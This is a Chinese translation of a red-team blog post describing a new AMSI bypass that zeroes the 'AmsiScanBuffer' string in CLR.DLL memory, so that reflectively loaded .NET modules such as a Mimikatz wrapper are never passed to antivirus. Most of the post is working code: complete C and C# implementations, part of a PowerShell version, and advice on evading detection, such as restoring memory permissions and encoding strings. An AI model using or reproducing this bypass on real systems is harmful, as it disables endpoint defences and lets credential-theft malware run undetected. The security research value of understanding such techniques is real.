修改 CLR.DLL 内存的新 AMSI 绕过技术

admin 2024年11月25日11:54:00评论28 views字数 30611阅读102分2秒阅读模式

New AMSI Bypss Technique Modifying CLR.DLL in Memory


  • 引言
  • 使用的工具
  • 工作原理
  • 研究绕过方法
    • 第一个想法:挂钩方法
    • 第二个想法:破坏 AmsiSession 变量
    • 第三个想法:从 CLR.dll 中隐藏 AmsiScanBuffer
    • 发现问题
    • 寻找目标函数
    • 评估目标函数
  • 实施绕过
    • 程序概述
    • 遍历每个内存区域
    • 查找映射到 CLR.DLL 的区域
    • 查找 AmsiScanBuffer 字符串的位置
    • 添加内存区域的写入权限
    • 覆盖字符串
    • 恢复权限
    • 组合所有步骤
  • C# 实现
  • PowerShell 实现
  • 使用 SpecterInsight 负载管道混淆 AMSI 绕过
  • 结论

引言

最近,微软推出了内存扫描签名,以检测对诸如 AMSI.dll::AmsiScanBuffer 等安全关键的用户态 API 的操作。您可以在此帖子中了解详细信息。对于我们红队成员来说,这意味着覆盖或挂钩该方法以绕过反恶意软件扫描接口(AMSI)的时代即将结束。那么我们现在该怎么办?

修改 CLR.DLL 内存的新 AMSI 绕过技术

幸运的是,绕过 AMSI 还有其他方法,而不仅仅是 API 补丁。在本文中,我将介绍一种针对 CLR.DLL 的新技术,以防止运行时将反射加载的.NET 模块传递给已安装的防病毒软件。此绕过将允许我们安全地将恶意二进制文件加载到内存中而不会被检测到。

使用的工具

  • Visual Studio 2022
  • Ghidra
  • PowerShell
  • SpecterInsight 版本 4.0.0

工作原理

在公共语言运行时库(CLR.DLL)内部,有一个用于处理反射加载二进制文件的本地方法(即从内存中的原始字节加载的二进制文件,而不是从磁盘上的文件加载)。在将 PE 映射到内存之前,该方法首先使用 AMSI 将原始二进制文件传递给已安装的防病毒软件。本地方法不直接引用 AmsiScanBuffer 方法,而是使用 GetProcAddress 获取对该函数的引用。这意味着字符串字面量“AmsiScanBuffer”存储在 CLR.DLL 的.rdata 部分。此绕过方法仅修改该字符串,以便找不到该方法,CLR 将无法再与该 API 交互。反射加载器采用“失败开放”的心态编写,因此如果 AMSI 检查失败,加载器将继续正常运行。

研究绕过方法

在本节中,我将介绍我是如何发现这种绕过技术的。如果您只想查看代码,请跳到下一节。

发现问题

我试图解决的主要问题是在不受防病毒干扰的情况下反射性地将.NET 模块加载到内存中。每当我尝试加载 SafetyKayz(Mimikatz 的.NET 包装器)时,这个问题就会显现出来。我们收到“Bad Memory Image”(错误的内存映像)错误。当防病毒软件检测到模块为恶意时,会实际抛出该错误。

我需要缓解此问题以继续操作,但由于微软最近的内存扫描签名,我无法依赖旧的方法来操纵 AMSI.dll::AmsiScanBuffer。这让我得出结论,我需要开发一种新的绕过方法来继续操作。为此,我需要寻找其他攻击点。AMSI API 已经被广泛研究和攻击,这促使微软将部分签名管理精力集中在防御该攻击表面上……但也许我们可以攻击更高调用栈中的其他方法。

寻找目标函数

我首先想要做的是捕获堆栈跟踪,以找到每个函数调用的位置,直到最终调用 AmsiScanBuffer。我们可以通过在 Visual Studio 中创建一个条件断点,当调用 AmsiScanBuffer 时中断来实现这一点。

修改 CLR.DLL 内存的新 AMSI 绕过技术

现在,我只需使用 Assembly.Load(byte[]) 加载 SafetyKatz,这会触发我们的断点并产生以下堆栈跟踪。调用堆栈位于屏幕的右下角。值得注意的是,我们之所以有函数名称,是因为我们从微软符号服务器获取了符号映射,这些符号映射告诉 Visual Studio 函数名称是什么。二进制文件的发布版本本身不包含该信息。这很重要,因为使用 GetProcAddress 查找此函数会很困难。

修改 CLR.DLL 内存的新 AMSI 绕过技术

从 AmsiScanBuffer 调用的位置向上看,我们看到 CLR.dll 中有一个名为 clr.dll!AmsiScan(void*, unsigned int) 的函数。也许我们可以攻击该函数。为此,我们需要了解这段代码块的功能。我想在高级别上理解该函数是如何工作的,因此我将打开 Ghidra 并反编译这段代码。这生成了以下 C 函数。我已经应用了自己的名称和注释以使代码更具可读性。

void AmsiScan(undefined8 contents,undefined4 contentLength) {  int hr;  HMODULE hModule;  bool bVar2;  uint amsiResult [2];  longlong pAmsiContext;  longlong local_48;  uint local_40;  undefined2 *local_38;  longlong lVar1;
  lVar1 = DAT_180913798;  local_48 = DAT_180913798;  local_40 = 0;  bVar2 = DAT_180913798 != 0;  if (bVar2) {    FUN_180156b78(DAT_180913798);  }  local_40 = (uint)bVar2;  if ((global_pAmsiContext == 0) && (g_amsiInitializationAttempted == '�')) {    hr = FUN_1800e71e8();    if ((hr != 0) &&       ((hModule = (HMODULE)CLRLoadLibraryEx(L"amsi.dll",0,0x800), hModule != (HMODULE)0x0 &&        (_global_pAmsiInitialize = GetProcAddress(hModule,"AmsiInitialize"),        _global_pAmsiInitialize != (FARPROC)0x0)))) {      pAmsiContext = 0;      hr = (*_global_pAmsiInitialize)(L"DotNet",&pAmsiContext);      if ((hr == 0) &&         (global_AmsiScanBuffer = GetProcAddress(hModule,"AmsiScanBuffer"),         global_AmsiScanBuffer != (FARPROC)0x0)) {        global_pAmsiContext = pAmsiContext;      }    }    g_amsiInitializationAttempted = 'x01';  }  if (bVar2) {    FUN_180084d70(lVar1);    local_40 = 0;  }  if (((global_pAmsiContext != 0) &&      (hr = (*global_AmsiScanBuffer)(global_pAmsiContext,contents,contentLength,0,0,amsiResult),      hr == 0)) && ((0x7fff < amsiResult[0] || (amsiResult[0] - 0x4000 < 0x1000)))) {                    /* This code is only run if the AmsiScanBuffer call was successful and the AV                       identified the contents as malicious */    local_48 = 0x200000002;    local_40 = 0x10;    local_38 = &DAT_180769d3c;    FUN_1805fc338(0x800700e1,&local_48,0);    FUN_1805fdd0c(&DAT_8007000b,&local_48);  }  return;}

评估目标函数

这部分工作更多的是艺术而非科学。作为攻击者,我正在寻找可以用来操控目标方法的技术,以优化以下几个要素:

  1. 必须做到:必须绕过 AMSI 扫描。
  2. 最小化:可疑活动或行为,如调用某些 API(如 WriteProcessMemory)。
  3. 最小化:实现绕过所需的复杂性。为了逃避检测而需要的代码越多,载荷大小就越大,也使得杀毒软件更容易对载荷进行签名识别。
  4. 最大化:与所有版本的软件和操作系统的兼容性。理想情况下,我不希望需要编写特定于版本的代码。

考虑到这些因素,让我们评估目标函数的可能攻击向量。

第一种想法:钩住方法

我的第一直觉是使用我对 AmsiScanBuffer 使用过的相同修补技术来攻击这个方法。唯一的问题是,我们可以轻易找到 AmsiScanBuffer 在内存中的位置,因为它是 AMSI.dll 中的一个导出函数。这个函数没有被导出,没有 .pdb 信息,很难在实际环境中唯一地找到该函数的入口点。我可能会尝试查找字节签名,但很难确保兼容性。让我们根据我们的标准来评估这种可能的技术:

  1. 绕过 AMSI:这将绕过 AMSI。
  2. 最小化可疑痕迹:如果我们使用与 AmsiScanBuffer 相同的技术,那么微软的签名编写者很容易为这个方法添加保护/签名……因此这种技术不能有效地最小化可疑痕迹。此外,一些 EDR(如 Elastic Endpoint Security)允许威胁猎人扫描内存中被修改的代码段。我们对内存映射的可执行区域所做的任何修改都可能引起不必要的注意。
  3. 最小化复杂性:绕过本身的复杂性较低,特别是因为我们有一个已经用于其他函数的实现;然而,找到函数入口点的复杂性很高。
  4. 最大化兼容性:除非我们能找到一种可靠的方法来定位函数入口点,否则很难确保这种方法的兼容性。即使如此,当我将概念验证产品化时,也会增加复杂性。我需要为所有目标版本和架构(例如 x86 和 x64)设置测试用例。总体而言,我评估这个问题的复杂性目前为高。

第二种想法:损坏 AmsiSession 变量

目标方法创建了一个 AmsiSession 变量,以便杀毒软件可以在多次调用 AmsiScanBuffer 时关联数据,这可以缓解载荷拆分问题。之前在 PowerShell 中的 AMSI 绕过技术已经损坏了这个会话变量,所以我们知道这个技术是可行的……但在 PowerShell 中,使用反射更容易找到变量。在 C 语言中实际上做不到,因为该语言缺乏反射。有了这些背景,让我们评估一下这种技术:

  1. 绕过 AMSI:这将绕过 AMSI。
  2. 最小化可疑痕迹:在所有可能的技术中,我认为这种技术产生的可疑痕迹最少。该变量存在于可读写内存中,因此我不需要调用任何可疑的 API,如 VirtualProtect 或 WriteProcessMemory。
  3. 最小化复杂性:损坏 AmsiSession 变量很简单,只需将零复制到其所在的内存区域。复杂性来自于尝试在内存中找到 AmsiSession 变量的位置。我能想到的唯一方法是找到将 AmsiSession 变量的指针加载到堆栈上以传递给 AmsiScanBuffer 方法的指令,然后解析该指令以找到 AmsiSession 变量的地址。我认为这比其他技术复杂得多。
  4. 最大化兼容性:这种技术面临相同的兼容性挑战。任何需要模式匹配来查找某物的技术,特别是汇编模式,都很难确保兼容性。这些模式可能会在甚至是小版本之间发生变化。编译器升级可能会导致汇编指令模式发生显著变化。同样,当我们将概念验证产品化时,这会增加测试复杂性。

第三种想法:从 CLR.dll 中隐藏 AmsiScanBuffer

这里的想法是,如果 CLR 不知道 AmsiScanBuffer 方法的位置,就无法向 AMSI 提交内容。如果我们查看函数的初始化,CLR 使用其自己的 GetProcAddress 实现动态解析 AmsiScanBuffer 函数的位置,该实现将字符串“AmsiScanBuffer”作为参数。上面反编译代码的第 29 行显示了 CLR 尝试找到 AmsiScanBuffer 方法地址的步骤。第二个参数是该字符串。

(global_AmsiScanBuffer = GetProcAddress(hModule,"AmsiScanBuffer")

关键是,如果 CLR 无法解析该函数,CLR.dll 将允许 .NET 模块的加载继续。在第 28-32 行中,只有在 GetProcAddress 调用成功时,全局指针 global_pAmsiContext 变量才会被设置为 AmsiContext 变量。

if ((hr == 0) && (global_AmsiScanBuffer = GetProcAddress(hModule,"AmsiScanBuffer"), global_AmsiScanBuffer != (FARPROC)0x0)) {global_pAmsiContext = pAmsiContext;}

我们还可以看到,在第 40-51 行中,只有当 global_pAmsiContext 不为空时,它们才会调用 AmsiScanBuffer 方法。如果 global_pAmsiContext 为空,第 41 和 42 行不会被执行。编译器优化了 if 语句以提前停止。这很重要,因为如果程序尝试解引用 global_AmsiScanBuffer 并且该变量为零,将导致未处理的异常。无论如何,关键是,如果我们能够重写字符串“AmsiScanBuffer”,CLR.dll 无法解析该方法。

我们可以通过重写字符串“AmsiScanBuffer”来利用这一点,这样 CLR.dll 就无法在第 29 行解析该方法。由于这是一个常量,它将存储在 CLR.DLL 的 .rdata 部分中,该部分默认是只读的。我们需要使用 VirtualProtect 修改内存权限,但从检测的角度来看,这并不严重。关键在于,我们必须在第一次调用 AmsiScan 方法之前重写该字符串。如果 AMSI 已经初始化,重写字符串将没有任何效果。

让我们总结这种技术,并根据我们的标准评估其特性:

  1. 绕过 AMSI:这将绕过 AMSI。
  2. 最小化可疑痕迹:我仍然会将这种技术的可疑指标评估为相当低。这实际上只是 VirtualProtect 调用可能会引起注意,但它很可能不会触发高警报级别,即使被记录,也不太可能被分流。
  3. 最小化复杂性:这里的复杂性非常低。到目前为止,我在所有 CLR.dll 二进制文件中只看到了一次“AmsiScanBuffer”字符串。找到并替换它是一个简单的单次搜索内存区域、修改权限和覆盖。
  4. 最大化兼容性:几乎所有在 AMSI 发布后编写的 CLR.dll 版本都使用这种动态查找 AmsiScanBuffer 函数的方法,因此这种方法应能可靠地针对大多数版本。它也是架构独立的,因此我们需要编写的自定义代码非常少。

实现绕过

我想将这种绕过技术用于三种主要方式:(1)作为原生的 SpecterInsight .NET 加载器的一部分,(2)作为任何 C# 加载器的一部分,以及(3)作为任何 PowerShell 加载器的一部分。这需要在 C、C# 和 PowerShell 中实现三种不同的实现。我将深入讨论第一种,并发布其他两种的代码和注释。

程序概述

绕过的实现涉及以下步骤:

  1. 使用 VirtualQuery 循环遍历每个内存区域
  2. 查找映射到 CLR.DLL 的内存区域
  3. 查找字符串“AmsiScanBuffer”的位置
  4. 为内存区域添加写权限
  5. 用零覆盖目标字符串
  6. 恢复内存位置

循环遍历每个内存区域

要获取当前进程中所有内存区域的列表,您必须从最小的内存地址开始循环,并使用 Kernel32.dll 的 VirtualQuery 方法获取有关区域的信息,包括权限、基址和区域大小。然后,您将区域大小添加到当前内存地址,并进行另一次调用以获取下一个区域。您将继续,直到当前地址超过使用 Kernel32.GetSystemInfo 方法找到的进程的最大内存地址。

以下代码片段将构建一个 MEMORY_BASIC_INFORMATION 对象的列表,我们稍后将遍历这个列表。ArrayList 是我创建的一个类,提供与 std::vector 相同的功能,但与 SpecterInsight 的原生有效载荷兼容,并且不依赖于 Visual C++ 运行时。

HANDLE hProcess = GetCurrentProcess();
//Load system info to identify allocated memory regionsSYSTEM_INFO sysInfo;GetSystemInfo(&sysInfo);
//Generate a list of memory regions to scanArrayList<MEMORY_BASIC_INFORMATION> list;unsigned char* pAddress = 0;// (unsigned char*)sysInfo.lpMinimumApplicationAddress;MEMORY_BASIC_INFORMATION memInfo;while (pAddress < sysInfo.lpMaximumApplicationAddress) {    //Query memory region information    if (VirtualQuery(pAddress, &memInfo, sizeof(memInfo))) {        list.Add(memInfo);    }
    //Move to the next memory region    pAddress += memInfo.RegionSize;}

下一段代码循环遍历每个内存区域,并且只查找可读的区域。

//Find and replace all references to AmsiScanBuffer in READWRITE memoryint count = 0;for (int i = 0; i < list.GetLength(); i++) {    MEMORY_BASIC_INFORMATION& region = list.At(i);
    //Can't work with the region if it's not even readable    if (!IsReadable(region.Protect, region.State)) {        continue;    }
    //<removed for brevity>}

判断内存区域是否可读的逻辑需要满足以下条件:

  • 具有读取(READ)内存权限。
  • 不是 GUARD 区域。具有此权限的内存区域在访问时会抛出异常。
  • 已提交到内存后备存储。MEM_COMMIT 内存状态指的是已分配并映射到物理内存(RAM)或系统页面文件(磁盘)的虚拟内存区域。如果区域不处于该状态,则没有任何内容可供扫描。

以下是 IsReadable 方法的实现。

bool IsReadable(DWORD protect, DWORD state) {    if (!((protect & PAGE_READONLY) == PAGE_READONLY || (protect & PAGE_READWRITE) == PAGE_READWRITE || (protect & PAGE_EXECUTE_READWRITE) == PAGE_EXECUTE_READWRITE || (protect & PAGE_EXECUTE_READ) == PAGE_EXECUTE_READ)) {        return false;    }
    if ((protect & PAGE_GUARD) == PAGE_GUARD) {        return false;    }
    if ((state & MEM_COMMIT) != MEM_COMMIT) {        return false;    }
    return true;}

查找映射到 CLR.DLL 的内存区域

要找到哪些内存区域映射到 CLR.DLL,我们可以使用 GetMappedFileNameA 方法。然后我们只需要简单检查文件路径是否以 CLR.DLL 结尾即可。

char path[MAX_PATH];if (GetMappedFileNameA(hProcess, region.BaseAddress, path, MAX_PATH) > 0) {    //Check to make sure this region maps to clr.dll    if (CheckStr(path, strlen(path))) {        //<removed for brevity>    }}

定位 AmsiScanBuffer 字符串

这部分相当简单直接。我们只需扫描内存中的每个字节来查找字符串"AmsiScanBuffer"。在我检查过的所有 CLR.DLL 样本中,二进制文件中只有一个该字符串的实例,因此我们不需要找到特定的一个来进行操作。

for (int j = 0; j < region.RegionSize - sizeof(unsigned char*); j++) {    unsigned char* current = ((unsigned char*)region.BaseAddress) + j;
    //See if the current pointer points to the string "AmsiScanBuffer." In SpecterInsight    //the Parameters->AMSISCANBUFFER is a value that is decoded at runtime in order to    //avoid static analysis    bool found = true;    for (int k = 0; k < sizeof(Parameters->AMSISCANBUFFER); k++) {        if (current[k] != Parameters->AMSISCANBUFFER[k]) {            found = false;            break;        }    }
    if (found) {        //<removed for brevity>    }}

为内存区域添加写入权限

默认情况下,内存的 .rdata 段是只读的。如果我们尝试覆盖 "AmsiScanBuffer" 字符串,将会触发异常。我们需要使用 Kernel32::VirtualProtect 方法来修改该区域的权限为 RWX(可读可写可执行)。虽然只设置 RW(可读可写)权限可能就足够了,但我选择了 RWX,以防某些随机版本的 CLR.DLL 在可执行区域中引用了该字符串。移除执行权限可能会导致未处理的异常并使进程崩溃。最后,我存储了一份原始权限的副本,以便在完成操作后恢复它们。

DWORD original = 0;if ((region.Protect & PAGE_READWRITE) != PAGE_READWRITE) {    VirtualProtect(region.BaseAddress, region.RegionSize, PAGE_EXECUTE_READWRITE, &original);}

覆盖字符串

现在我们只需用零替换目标字符串。由于 GetProcAddress 方法使用以空字符结尾的 Windows-1252 字符串,该方法会将其解释为零长度字符串。

for (int m = 0; m < sizeof(Parameters->AMSISCANBUFFER); m++) {    current[m] = 0;}

恢复权限

最后一步是恢复内存区域的原始权限,以使其看起来不那么可疑。这只是使用上面相同的代码,但是将旧权限作为新的权限来设置。

if ((region.Protect & PAGE_READWRITE) != PAGE_READWRITE) {    VirtualProtect(region.BaseAddress, region.RegionSize, region.Protect, &original);}

整合所有内容

这里是我们刚才讨论的所有组件整合在一起的完整绕过实现。

C 语言完整实现

HRESULT AmsiBypasStringReplace() {    HANDLE hProcess = GetCurrentProcess();
    //Load system info to identify allocated memory regions    SYSTEM_INFO sysInfo;    GetSystemInfo(&sysInfo);
    //Generate a list of memory regions to scan    ArrayList<MEMORY_BASIC_INFORMATION> list;    unsigned char* pAddress = 0;// (unsigned char*)sysInfo.lpMinimumApplicationAddress;    MEMORY_BASIC_INFORMATION memInfo;    while (pAddress < sysInfo.lpMaximumApplicationAddress) {        //Query memory region information        if (VirtualQuery(pAddress, &memInfo, sizeof(memInfo))) {            list.Add(memInfo);        }
        //Move to the next memory region        pAddress += memInfo.RegionSize;    }
    //Find and replace all references to AmsiScanBuffer in READWRITE memory    int count = 0;    for (int i = 0; i < list.GetLength(); i++) {        MEMORY_BASIC_INFORMATION& region = list.At(i);
        //Can't work with the region if it's not even readable        if (!IsReadable(region.Protect, region.State)) {            continue;        }
        char path[MAX_PATH];        if (GetMappedFileNameA(hProcess, region.BaseAddress, path, MAX_PATH) > 0) {            //Check to make sure this memory region is mapped from CLR.dll. This way, we have            //to scan less memory regions            if (CheckStr(path, strlen(path))) {                for (int j = 0; j < region.RegionSize - sizeof(unsigned char*); j++) {                    unsigned char* current = ((unsigned char*)region.BaseAddress) + j;
                    //See if the current pointer points to the string "AmsiScanBuffer." In SpecterInsight                    //the Parameters->AMSISCANBUFFER is a value that is decoded at runtime in order to                    //avoid static analysis                    bool found = true;                    for (int k = 0; k < sizeof(Parameters->AMSISCANBUFFER); k++) {                        if (current[k] != Parameters->AMSISCANBUFFER[k]) {                            found = false;                            break;                        }                    }
                    if (found) {                        //We found the string. Now we need to modify permissions, if necessary                        //to allow us to overwrite it                        DWORD original = 0;                        if ((region.Protect & PAGE_READWRITE) != PAGE_READWRITE) {                            VirtualProtect(region.BaseAddress, region.RegionSize, PAGE_EXECUTE_READWRITE, &original);                        }
                        //Overwrite the strings with zero. This will now be an "empty" string.                        for (int m = 0; m < sizeof(Parameters->AMSISCANBUFFER); m++) {                            current[m] = 0;                        }
                        count++;
                        //Restore permissions if necessary so it looks less suspicious.                        if ((region.Protect & PAGE_READWRITE) != PAGE_READWRITE) {                            VirtualProtect(region.BaseAddress, region.RegionSize, region.Protect, &original);                        }                    }                }            }        }    }
    if (count > 0) {        return S_OK;    } else {        return ERROR_NOT_FOUND;    }}
bool CheckStr(const char* str, int length) {    if (length < 7) {        return false;    }
    //Why the weird check? I'm trying not to store the string "clr.dll" in the    //binary without being encoded    int offset = length - 1;    if (str[offset] == 'l' || str[offset] == 'L') {        offset = offset - 1;        if (str[offset] == 'l' || str[offset] == 'L') {            offset = offset - 1;            if (str[offset] == 'd' || str[offset] == 'D') {                offset = offset - 1;                if (str[offset] == '.') {                    offset = offset - 1;                    if (str[offset] == 'r' || str[offset] == 'R') {                        offset = offset - 1;                        if (str[offset] == 'l' || str[offset] == 'L') {                            offset = offset - 1;                            if (str[offset] == 'c' || str[offset] == 'C') {                                return true;                            }                        }                    }                }            }        }    }
    return false;}
bool IsReadable(DWORD protect, DWORD state) {    if (!((protect & PAGE_READONLY) == PAGE_READONLY || (protect & PAGE_READWRITE) == PAGE_READWRITE || (protect & PAGE_EXECUTE_READWRITE) == PAGE_EXECUTE_READWRITE || (protect & PAGE_EXECUTE_READ) == PAGE_EXECUTE_READ)) {        return false;    }
    if ((protect & PAGE_GUARD) == PAGE_GUARD) {        return false;    }
    if ((state & MEM_COMMIT) != MEM_COMMIT) {        return false;    }
    return true;}

C# 实现

这是 C# 的实现代码。需要特别注意的是,此代码仅在 .NET 二进制文件未使用 Assembly.Load(byte[]) 方法进行反射加载时才能正常工作。

完整的 C# 实现代码

using System;using System.Collections.Generic;using System.Runtime.InteropServices;using System.Text;
namespace CSharpAmsiBypassStringReplace {    public class AmsiBypass {        [DllImport("kernel32.dll")]        private static extern IntPtr GetCurrentProcess();
        [DllImport("kernel32.dll", SetLastError = true)]        private static extern void GetSystemInfo(ref SYSTEM_INFO lpSystemInfo);
        [DllImport("kernel32.dll", SetLastError = true)]        private static extern bool VirtualQuery(IntPtr lpAddress, ref MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength);
        [DllImport("kernel32.dll", SetLastError = true)]        private static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
        [DllImport("psapi.dll", SetLastError = true)]        private static extern uint GetMappedFileName(IntPtr hProcess, IntPtr lpv, StringBuilder lpFilename, uint nSize);
        [DllImport("kernel32.dll", SetLastError = true)]        public static extern bool ReadProcessMemory(            IntPtr hProcess,            IntPtr lpBaseAddress,            byte[] lpBuffer,            int nSize,            out int lpNumberOfBytesRead);
        [DllImport("kernel32.dll", SetLastError = true)]        public static extern bool WriteProcessMemory(            IntPtr hProcess,            IntPtr lpBaseAddress,            byte[] lpBuffer,            int nSize,            out int lpNumberOfBytesWritten);
        // Structs and constants        [StructLayout(LayoutKind.Sequential)]        private struct SYSTEM_INFO {            public ushort wProcessorArchitecture;            public ushort wReserved;            public uint dwPageSize;            public IntPtr lpMinimumApplicationAddress;            public IntPtr lpMaximumApplicationAddress;            public IntPtr dwActiveProcessorMask;            public uint dwNumberOfProcessors;            public uint dwProcessorType;            public uint dwAllocationGranularity;            public ushort wProcessorLevel;            public ushort wProcessorRevision;        }
        [StructLayout(LayoutKind.Sequential)]        private struct MEMORY_BASIC_INFORMATION {            public IntPtr BaseAddress;            public IntPtr AllocationBase;            public uint AllocationProtect;            public IntPtr RegionSize;            public uint State;            public uint Protect;            public uint Type;        }
        private const uint PAGE_READONLY = 0x02;        private const uint PAGE_READWRITE = 0x04;        private const uint PAGE_EXECUTE_READWRITE = 0x40;        private const uint PAGE_EXECUTE_READ = 0x20;        private const uint PAGE_GUARD = 0x100;        private const uint MEM_COMMIT = 0x1000;        private const int MAX_PATH = 260;
        public static void AmsiBypassStringReplace() {            IntPtr hProcess = GetCurrentProcess();
            // Get system information            SYSTEM_INFO sysInfo = new SYSTEM_INFO();            GetSystemInfo(ref sysInfo);
            // List of memory regions to scan            List<MEMORY_BASIC_INFORMATION> memoryRegions = new List<MEMORY_BASIC_INFORMATION>();            IntPtr address = IntPtr.Zero;
            // Scan through memory regions            while (address.ToInt64() < sysInfo.lpMaximumApplicationAddress.ToInt64()) {                MEMORY_BASIC_INFORMATION memInfo = new MEMORY_BASIC_INFORMATION();                if (AmsiBypass.VirtualQuery(address, ref memInfo, (uint)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION)))) {                    memoryRegions.Add(memInfo);                }
                // Move to the next memory region                address = new IntPtr(address.ToInt64() + memInfo.RegionSize.ToInt64());            }
            int count = 0;
            //Loop through memory regions            foreach (MEMORY_BASIC_INFORMATION region in memoryRegions) {                //Check if the region is readable and writable                if (!AmsiBypass.IsReadable(region.Protect, region.State)) {                    continue;                }
                //Scan the region for the AMSISCANBUFFER pattern                byte[] buffer = new byte[region.RegionSize.ToInt64()];                int bytesRead = 0;                AmsiBypass.ReadProcessMemory(hProcess, region.BaseAddress, buffer, (int)region.RegionSize.ToInt64(), out bytesRead);
                //Check if the region contains a mapped file                StringBuilder pathBuilder = new StringBuilder(MAX_PATH);                if (AmsiBypass.GetMappedFileName(hProcess, region.BaseAddress, pathBuilder, MAX_PATH) > 0) {                    string path = pathBuilder.ToString();                    if (path.EndsWith("clr.dll", StringComparison.InvariantCultureIgnoreCase)) {                        for (int k = 0; k < bytesRead; k++) {                            if (AmsiBypass.PatternMatch(buffer, AmsiBypass.AMSISCANBUFFER, k)) {                                uint oldProtect;                                if ((region.Protect & PAGE_READWRITE) != PAGE_READWRITE) {                                    AmsiBypass.VirtualProtect(region.BaseAddress, (uint)region.RegionSize.ToInt32(), PAGE_EXECUTE_READWRITE, out oldProtect);                                }
                                byte[] replacement = new byte[AmsiBypass.AMSISCANBUFFER.Length];                                int bytesWritten = 0;                                AmsiBypass.WriteProcessMemory(hProcess,                                    new IntPtr(region.BaseAddress.ToInt64() + k),                                    replacement,                                    replacement.Length,                                    out bytesWritten);
                                count++;
                                if ((region.Protect & PAGE_READWRITE) != PAGE_READWRITE) {                                    VirtualProtect(region.BaseAddress, (uint)region.RegionSize.ToInt32(), region.Protect, out oldProtect);                                }                            }                        }                    }                }            }        }
        private static bool IsReadable(uint protect, uint state) {            // Check if the memory protection allows reading            if (!((protect & PAGE_READONLY) == PAGE_READONLY ||                  (protect & PAGE_READWRITE) == PAGE_READWRITE ||                  (protect & PAGE_EXECUTE_READWRITE) == PAGE_EXECUTE_READWRITE ||                  (protect & PAGE_EXECUTE_READ) == PAGE_EXECUTE_READ)) {                return false;            }
            // Check if the PAGE_GUARD flag is set, which would make the page inaccessible            if ((protect & PAGE_GUARD) == PAGE_GUARD) {                return false;            }
            // Check if the memory state is committed            if ((state & MEM_COMMIT) != MEM_COMMIT) {                return false;            }
            return true;        }
        private static bool PatternMatch(byte[] buffer, byte[] pattern, int index) {            for (int i = 0; i < pattern.Length; i++) {                if (buffer[index + i] != pattern[i]) {                    return false;                }            }            return true;        }
        public static readonly byte[] AMSISCANBUFFER = Encoding.UTF8.GetBytes("AmsiScanBuffer");    }}

PowerShell 实现

当我开始进行 PowerShell 实现时,我对自己说:"这很简单。我只需要编译 .NET 代码,将其嵌入脚本中,然后...反射加载它...糟糕。"

回到绘图板前,我意识到这个绕过需要用纯 PowerShell 来实现。将这个技术转换为 PowerShell 时遇到了一些挑战,因为有些事情并不像直接调用本机函数或定义结构那样直观。最终我使用了 Reflection.Emit.AssemblyBuilder 来生成自定义类。事实证明,动态发出 CLR 代码并不会触发对 AmsiScanBuffer 的调用。我们使用以下代码在当前应用程序域中创建构建器。

#Create module builder$DynAssembly = New-Object System.Reflection.AssemblyName("Win32");$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run);$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False);

接下来,我通过定义和生成类型来定义新的结构:

#Define structs$TypeBuilder = $ModuleBuilder.DefineType("Win32.MEMORY_INFO_BASIC", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType]);[void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public);[void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public);[void]$TypeBuilder.DefineField("AllocationProtect", [Int32], [System.Reflection.FieldAttributes]::Public);[void]$TypeBuilder.DefineField("RegionSize", [IntPtr], [System.Reflection.FieldAttributes]::Public);[void]$TypeBuilder.DefineField("State", [Int32], [System.Reflection.FieldAttributes]::Public);[void]$TypeBuilder.DefineField("Protect", [Int32], [System.Reflection.FieldAttributes]::Public);[void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public);$MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType();

接下来,我添加了一些静态方法以便使用平台调用 (Platform Invoke, P/Invoke) 来调用底层 Windows API。这段小代码让我很头疼。在找到 MakeByRefType 方法之前,我一直无法在参数列表中创建引用类型。这个方法最终解决了这个问题。

#Define [Win32.Kernel32]::VirtualQuery$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualQuery", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([IntPtr], [Win32.MEMORY_INFO_BASIC].MakeByRefType(), [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);

最后,我用以下代码行生成了类型:

$Kernel32 = $TypeBuilder.CreateType();

一旦该行执行完成,你就可以像平常一样引用刚刚创建的新类型。下面的代码展示了如何实例化上面定义的 MEMORY_INFO_BASIC 结构体:

$memInfo = New-Object Win32.MEMORY_INFO_BASIC;if ([Win32.Kernel32]::VirtualQuery($address, [ref]$memInfo, [System.Runtime.InteropServices.Marshal]::SizeOf($memInfo))) {    $memoryRegions += $memInfo;}

PowerShell 完整实现

# Define constants$PAGE_READONLY = 0x02$PAGE_READWRITE = 0x04$PAGE_EXECUTE_READWRITE = 0x40$PAGE_EXECUTE_READ = 0x20$PAGE_GUARD = 0x100$MEM_COMMIT = 0x1000$MAX_PATH = 260
# Helper functionsfunction IsReadable {    param ($protect, $state)    return (        (($protect -band $PAGE_READONLY) -eq $PAGE_READONLY -or         ($protect -band $PAGE_READWRITE) -eq $PAGE_READWRITE -or         ($protect -band $PAGE_EXECUTE_READWRITE) -eq $PAGE_EXECUTE_READWRITE -or         ($protect -band $PAGE_EXECUTE_READ) -eq $PAGE_EXECUTE_READ) -and        ($protect -band $PAGE_GUARD) -ne $PAGE_GUARD -and        ($state -band $MEM_COMMIT) -eq $MEM_COMMIT    )}
function PatternMatch {    param ($buffer, $pattern, $index)    for ($i = 0; $i -lt $pattern.Length; $i++) {        if ($buffer[$index + $i] -ne $pattern[$i]) {            return $false        }    }    return $true}
